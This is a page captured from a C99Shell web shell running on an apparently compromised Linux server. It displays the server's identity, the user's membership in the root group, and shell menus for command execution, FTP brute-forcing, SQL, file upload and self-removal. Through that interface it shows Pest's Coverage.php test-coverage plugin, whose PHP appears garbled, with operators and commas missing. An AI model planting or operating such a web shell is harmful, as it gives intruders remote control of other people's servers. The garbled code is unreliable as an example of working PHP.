!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/src/Plugins/   drwxr-xr-x
Free 29.02 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Coverage.php (4.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Plugins;

use 
Pest\Contracts\Plugins\AddsOutput;
use 
Pest\Contracts\Plugins\HandlesArguments;
use 
Pest\Support\Str;
use 
Symfony\Component\Console\Input\ArgvInput;
use 
Symfony\Component\Console\Input\InputDefinition;
use 
Symfony\Component\Console\Input\InputOption;
use 
Symfony\Component\Console\Output\OutputInterface;

/**
 * @internal
 */
final class Coverage implements AddsOutputHandlesArguments
{
    
/**
     * @var string
     */
    
private const COVERAGE_OPTION 'coverage';

    
/**
     * @var string
     */
    
private const MIN_OPTION 'min';

    
/**
     * Whether it should show the coverage or not.
     */
    
public bool $coverage false;

    
/**
     * The minimum coverage.
     */
    
public float $coverageMin 0.0;

    
/**
     * Creates a new Plugin instance.
     */
    
public function __construct(private readonly OutputInterface $output)
    {
        
// ..
    
}

    
/**
     * {@inheritdoc}
     */
    
public function handleArguments(array $originals): array
    {
        
$arguments = [...[''], ...array_values(array_filter($originals, function (string $original): bool {
            foreach ([
self::COVERAGE_OPTIONself::MIN_OPTION] as $option) {
                if (
$original === sprintf('--%s'$option)) {
                    return 
true;
                }

                if (
Str::startsWith($originalsprintf('--%s='$option))) {
                    return 
true;
                }
            }

            return 
false;
        }))];

        
$originals array_flip($originals);
        foreach (
$arguments as $argument) {
            unset(
$originals[$argument]);
        }
        
$originals array_flip($originals);

        
$inputs = [];
        
$inputs[] = new InputOption(self::COVERAGE_OPTIONnullInputOption::VALUE_NONE);
        
$inputs[] = new InputOption(self::MIN_OPTIONnullInputOption::VALUE_REQUIRED);

        
$input = new ArgvInput($arguments, new InputDefinition($inputs));
        if ((bool) 
$input->getOption(self::COVERAGE_OPTION)) {
            
$this->coverage true;
            
$originals[] = '--coverage-php';
            
$originals[] = \Pest\Support\Coverage::getPath();

            if (! 
\Pest\Support\Coverage::isAvailable()) {
                if (
\Pest\Support\Coverage::usingXdebug()) {
                    
$this->output->writeln([
                        
'',
                        
"  <fg=default;bg=red;options=bold> ERROR </> Unable to get coverage using Xdebug. Did you set <href=https://xdebug.org/docs/code_coverage#mode>Xdebug's coverage mode</>?</>",
                        
'',
                    ]);
                } else {
                    
$this->output->writeln([
                        
'',
                        
'  <fg=default;bg=red;options=bold> ERROR </> No code coverage driver is available.</>',
                        
'',
                    ]);
                }

                exit(
1);
            }
        }

        if (
$input->getOption(self::MIN_OPTION) !== null) {
            
/** @var int|float $minOption */
            
$minOption $input->getOption(self::MIN_OPTION);

            
$this->coverageMin = (float) $minOption;
        }

        return 
$originals;
    }

    
/**
     * {@inheritdoc}
     */
    
public function addOutput(int $exitCode): int
    
{
        if (
$exitCode === && $this->coverage) {
            if (! 
\Pest\Support\Coverage::isAvailable()) {
                
$this->output->writeln(
                    
"\n  <fg=white;bg=red;options=bold> ERROR </> No code coverage driver is available.</>",
                );
                exit(
1);
            }

            
$coverage \Pest\Support\Coverage::report($this->output);

            
$exitCode = (int) ($coverage $this->coverageMin);

            if (
$exitCode === 1) {
                
$this->output->writeln(sprintf(
                    
"\n  <fg=white;bg=red;options=bold> FAIL </> Code coverage below expected <fg=white;options=bold> %s %%</>, currently <fg=red;options=bold> %s %%</>.",
                    
number_format($this->coverageMin1),
                    
number_format($coverage1)
                ));
            }

            
$this->output->writeln(['']);
        }

        return 
$exitCode;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--